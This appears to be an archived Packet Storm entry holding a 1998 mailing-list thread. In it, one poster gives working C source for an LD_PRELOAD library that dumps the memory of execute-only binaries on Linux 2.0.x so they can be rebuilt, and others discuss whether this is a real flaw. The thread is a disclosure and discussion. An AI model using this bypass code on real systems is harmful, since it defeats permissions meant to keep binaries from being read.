processdump.txt

1999-08-17T00:00:00
ID PACKETSTORM:15273
Type packetstorm
Reporter Packet Storm
Modified 1999-08-17T00:00:00

Description

                                        
                                            `Date: Tue, 15 Sep 1998 12:36:22 +0800  
From: David Luyer <luyer@UCS.UWA.EDU.AU>  
Subject: Dump a mode --x--x--x binary on Linux 2.0.x  
  
The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x)  
binary on Linux 2.0.x. It will dump the binary to a series of  
process-dump-... files in the current directory. The executable itself  
can be recovered by catting the first few files together and truncating  
at the executable size. I have tested this by reconstructing a copy of  
/bin/cat which I had protected mode 111 under Linux 2.0.x.  
  
Tested up to 2.0.35 and ld.so 2.0.7.  
  
I noticed this problem after Andreas Kies pointed out on linux-kernel  
that you can strace a mode 111 (--x--x--x) binary on Linux 2.0.x. His  
patch for that problem can be found in the linux-kernel archives, I'm not  
aware of a patch for this problem yet.  
  
David.  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
  
static char * filename = "process-dump-%04x-%08lx:%08lx";  
static int ___mypid = 0;  
  
void ___dump_memory() {  
FILE *f, *maps;  
char str[80], c, *fname;  
unsigned long fr, to;  
  
maps = fopen("/proc/self/maps", "r");  
while (fgets(str, 80, maps) != NULL) {  
if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {  
fprintf(stderr, "bad /proc/maps line: %s\n", str);  
continue;  
}  
if(c != 'r') {  
fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);  
continue;  
}  
if((to - fr) % 4096) {  
fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);  
}  
fname = malloc(strlen(filename) + 9);  
sprintf(fname, filename, ___mypid, fr, to);  
unlink(fname);  
f = fopen(fname, "w");  
fwrite((void *)fr, (to - fr)/4096, 4096, f);  
fclose(f);  
}  
fclose(maps);  
}  
  
int getpid() {  
/* override getpid() since this is called in most process startup */  
if(!___mypid) {  
___mypid = __getpid();  
___dump_memory();  
}  
return ___mypid;  
}  
  
int fork() {  
/* make sure getpid() returns correct value after fork() */  
int i;  
  
if((i = __fork()) && i != -1)  
___mypid = i;  
return i;  
}  
  
int clone() {  
/* I couldn't be bothered... */  
fputs("sorry this preload does not support clone()\n", stderr);  
return -1;  
}  
  
-------------------------------------------------------------------------  
  
Date: Tue, 15 Sep 1998 14:52:30 +0100  
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>  
Subject: Re: Dump a mode --x--x--x binary on Linux 2.0.x  
  
> process-dump-... files in the current directory. The executable itself  
> can be recovered by catting the first few files together and truncating  
> at the executable size. I have tested this by reconstructing a copy of  
> /bin/cat which I had protected mode 111 under Linux 2.0.x.  
  
You can only do this for non setuid applications. I would question it  
is even a bug. Execute only is an extremely vague concept anyway on  
x86 since the chip doesnt really support it physically.  
  
The convenience and usefulness of LD_PRELOAD seems to far outweigh this  
consideration for normal use. Its probably one for the 'secure linux'  
patch collection therefore.  
  
Alan  
  
-------------------------------------------------------------------------  
  
Date: Tue, 15 Sep 1998 20:20:15 +0200  
From: Casper Dik <casper@HOLLAND.SUN.COM>  
Subject: Re: Dump a mode --x--x--x binary on Linux 2.0.x  
  
>> process-dump-... files in the current directory. The executable itself  
>> can be recovered by catting the first few files together and truncating  
>> at the executable size. I have tested this by reconstructing a copy of  
>> /bin/cat which I had protected mode 111 under Linux 2.0.x.  
>  
>You can only do this for non setuid applications. I would question it  
>is even a bug. Execute only is an extremely vague concept anyway on  
>x86 since the chip doesnt really support it physically.  
  
Solaris has the same "problem" and I too am not sure whether it's  
a bug or not. Also, filesystems like NFS make no distinction between  
read-for-execute or read-for-reading.  
  
Solaris /proc disallows access to execute only binaries, but its  
LD_PRELOAD and also LD_LIBRARY_PATH have the exact same problem.  
LD_LIBRARY_PATH is somewhat trickier to abuse as it requires you to  
build an entire library and not just an object with a few replacement  
function, although you might get very far by just using a .init section  
and little substance.  
  
>The convenience and usefulness of LD_PRELOAD seems to far outweigh this  
>consideration for normal use. Its probably one for the 'secure linux'  
>patch collection therefore.  
  
Indeed, and I would think that disabling LD_LIBRARY_PATH too would have  
serious usability impact.  
  
Casper  
  
  
`